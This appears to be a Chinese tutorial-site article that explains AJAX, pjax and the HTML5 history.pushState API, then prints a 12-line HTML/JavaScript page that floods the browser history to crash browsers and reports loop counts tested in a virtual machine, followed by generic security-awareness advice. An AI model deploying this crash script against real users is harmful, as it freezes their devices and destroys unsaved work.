让浏览器崩溃的12行JS代码(DoS攻击分析及防御)


Posted in Javascript onOctober 10, 2016

Ajax与pjax

AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换,AJAX可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新-无刷新操作。

但是,ajax应用也会造成另外的问题,容易导致浏览器无法前进与后退,这是个很头疼的问题,开发人员必须增加工作量(比如通过一个隐藏的iframe,或者改变location.hash值等方法)来解决。

为了解决传统ajax带来的问题,HTML5里引入了新的API:history.pushState,它和ajax结合后,有个新的称呼是pjax。是一种基于ajax+history.pushState的新技术,该技术可以无刷新改变页面的内容,并且可以改变页面的URL。pjax是ajax+pushState的封装,同时支持本地存储、动画等多种功能。目前支持jquery、qwrap、kissy等多种版本。

让浏览器崩溃的12行JS代码(DoS攻击分析及防御)

HTML5.history.pushState

HTML5可以通过pushState和replaceState接口操作浏览器历史,并且改变当前页面的URL。

pushState是将指定的URL添加到浏览器历史里,存储当前历史记录点。replaceState是将指定的URL替换当前的URL。同时,这些方法会和window.onpostate事件一起工作。

history.pushState(data, title, url) : 往历史记录堆栈顶部添加一条记录;data会在onpopstate事件触发时作为参数传递过去;title为页面标题,当前所有浏览器一般都会 忽略此参数;url为页面地址,可选,缺省为当前页地址。具体细节:

state?对象是一个JavaScript状态对象,记录历史记录点的额外对象,可以为空。它关系到由pushState()方法创建出来的新的history实体。用以存储关于你所要插入到历史记录的条目的相关信息。

title—所有浏览器一般都会 忽略此参数,虽然它可能将来会被使用上。而现在最安全的使用方式是传一个空字符串,以防止将来的修改,或者可以传一个简短的标题来表示state。

URL—这个参数用来传递新的history实体的URL,新的url必须和现有的url同域,否则pushState()将抛出异常。这个参数是选填的,如果为空,则会被置为document当前的url。

十二行代码分析

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
 total= total+i.toString();
 history.pushState(0,0,total);
}
</script>
</body>
</html>

上面就是十二行代码,关键点在于针对total这个url的循环: history.pushState(0,0,total);不停的在修改url,循环了1000000次,不停的向历史记录堆栈中新增记录,会导致CPU和内存占用率过高以及firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。

让浏览器崩溃的12行JS代码(DoS攻击分析及防御)

在XP虚拟机(i7单核3.4G、512内存) 亲自实测:

     当上面那个循环次数为十万以上级别的时候,CPU,内存使用率瞬间100%,然后崩溃死机;

     当上面那个循环次数缩小到10000左右的时候,CPU,内存使用率大概在20秒内逐渐升高至100%,然后崩溃死机;

     当上面那个循环次数缩小到500左右的时候, CPU使用率逐渐升高到达100%后,再次瞬间恢复到稳定状态,内存使用从130M左右升高至230M左右,而打开的192.168.56.106/12.html这个页面后,地址栏里面的链接也变成了:http://192.168.56.106/0123456789101112131415161718192021…… 494495496497498499

可见,通过循环不停的向向历史记录堆栈中新增记录的同时,页面会刷新到跳转的新地址,就是循环累加的一个“伪地址”,当这个长度超限的时候,就会引起dos了,攻击的效果和效率完全取决于循环的次数和tagret的硬件配置。

相关的防御

相信大家的安全意识已经非常的强悍了,但是还是要警钟长鸣,不要轻信任何陌生人通过任何方式发给你的链接、附件、邮件、图片等任何信息,当然不排除好基友们损友们的恶作剧了,所以小伙伴儿们记得经常Ctrl+S哦,否则被搞死机了也会很郁闷的。

互联网自诞生之日起,就暴露在黑客攻击之下,早期的黑客攻击多少还带有技术试验和炫耀的目的,但随着全球互联网基础设施规模的壮大、连接的无限增长和用户数的急剧膨胀,黑客攻击频率也相应增加,黑客技术也在不断的发展,逐渐出现了以非法获取经济利益为目的的黑色产业链。针对互联网安全防护的技术水平更是突飞猛进,道高一尺魔高一丈,攻与防,在这个互联网时代每分每秒都正在发生着。

网络安全的防护,七分靠技术,三分靠意识,要防护这些问题,除了依靠安全厂商的产品和服务,还需要不断提高网络安全意识。比如:注意个人密码的管理、注意个人隐私的保护、不要轻易接入公共的wifi、不要轻易相信陌生/熟悉朋友的链接或者文件等、注意移动支付的安全、不要让设备“裸奔”等等

总结

以上就是这篇文章的全部内容了,希望能对大家的学习或者工作带来一定的帮助,如果有疑问大家可以留言交流。

Javascript 相关文章推荐
jQuery中die()方法用法实例
Jan 19 Javascript
jQuery常用数据处理方法小结
Feb 20 Javascript
jQuery实现悬浮在右上角的网页客服效果代码
Oct 24 Javascript
基于javascript实现彩票随机数生成(简单版)
Apr 17 Javascript
jquery对复选框(checkbox)的操作汇总
Jan 13 Javascript
整理AngularJS框架使用过程当中的一些性能优化要点
Mar 05 Javascript
Javascript的动态增加类的实现方法
Oct 20 Javascript
在 Vue 项目中引入 tinymce 富文本编辑器的完整代码
May 04 Javascript
Vue中computed、methods与watch的区别总结
Apr 10 Javascript
JS求解两数之和算法详解
Apr 28 Javascript
vue 调用 RESTful风格接口操作
Aug 11 Javascript
vue @click.native 绑定原生点击事件
Apr 22 Vue.js
KnockoutJS 3.X API 第四章之表单value绑定
Oct 10 #Javascript
jquery操作checkbox火狐下第二次无法勾选的解决方法
Oct 10 #Javascript
浅谈jquery中使用canvas的问题
Oct 10 #Javascript
a标签跳转到指定div,jquery添加和移除class属性的实现方法
Oct 10 #Javascript
浅谈javascript控制HTML5的全屏操控,浏览器兼容的问题
Oct 10 #Javascript
js监听键盘事件的方法_原生和jquery的区别详解
Oct 10 #Javascript
js 弹出虚拟键盘修改密码的简单实例
Oct 10 #Javascript
You might like
动易数据转成dedecms的php程序
2007/04/07 PHP
关于PHP的相似度计算函数:levenshtein的使用介绍
2013/04/15 PHP
浅谈php处理后端&amp;接口访问超时的解决方法
2016/10/29 PHP
PHP+MYSQL实现读写分离简单实战
2017/03/13 PHP
JS array 数组详解
2009/03/22 Javascript
JavaScript 学习笔记(六)
2009/12/31 Javascript
js调用百度地图及调用百度地图的搜索功能
2015/09/07 Javascript
jquery 属性选择器(匹配具有指定属性的元素)
2016/09/06 Javascript
nodejs+express实现文件上传下载管理网站
2017/03/15 NodeJs
微信小程序授权获取用户详细信息openid的实例详解
2017/09/20 Javascript
AngularJS 的$timeout服务示例代码
2017/09/21 Javascript
Node.js中DNS模块学习总结
2018/02/28 Javascript
react-native-video实现视频全屏播放的方法
2018/03/19 Javascript
4 种滚动吸顶实现方式的比较
2019/04/09 Javascript
小程序扫描普通链接二维码跳转小程序指定界面方法
2019/05/07 Javascript
js贪心算法 钱币找零问题代码实例
2019/09/11 Javascript
layui实现图片虚拟路径上传,预览和删除的例子
2019/09/25 Javascript
vue.js封装switch开关组件的操作
2020/10/26 Javascript
django模型中的字段和model名显示为中文小技巧分享
2014/11/18 Python
在Python中操作列表之list.extend()方法的使用
2015/05/20 Python
python查看zip包中文件及大小的方法
2015/07/09 Python
Python随机生成带特殊字符的密码
2016/03/02 Python
详解Python异常处理中的Finally else的功能
2017/12/29 Python
python列表生成式与列表生成器的使用
2018/02/23 Python
解决在pycharm中显示额外的 figure 窗口问题
2019/01/15 Python
python下PyGame的下载与安装过程及遇到问题
2019/08/04 Python
用python3 urllib破解有道翻译反爬虫机制详解
2019/08/14 Python
pytorch 使用加载训练好的模型做inference
2020/02/20 Python
俄罗斯珠宝市场的领导者之一:Бронницкий ювелир
2019/10/02 全球购物
机械电子工程毕业生自荐信
2013/11/23 职场文书
幼儿园美术教学反思
2014/01/31 职场文书
乡村文明行动实施方案
2014/03/29 职场文书
一份关于丢失公司财物的检讨书
2014/09/19 职场文书
七年级作文之秋游
2019/10/21 职场文书
python turtle绘图
2022/05/04 Python
如何让你的Nginx支持分布式追踪详解
2022/07/07 Servers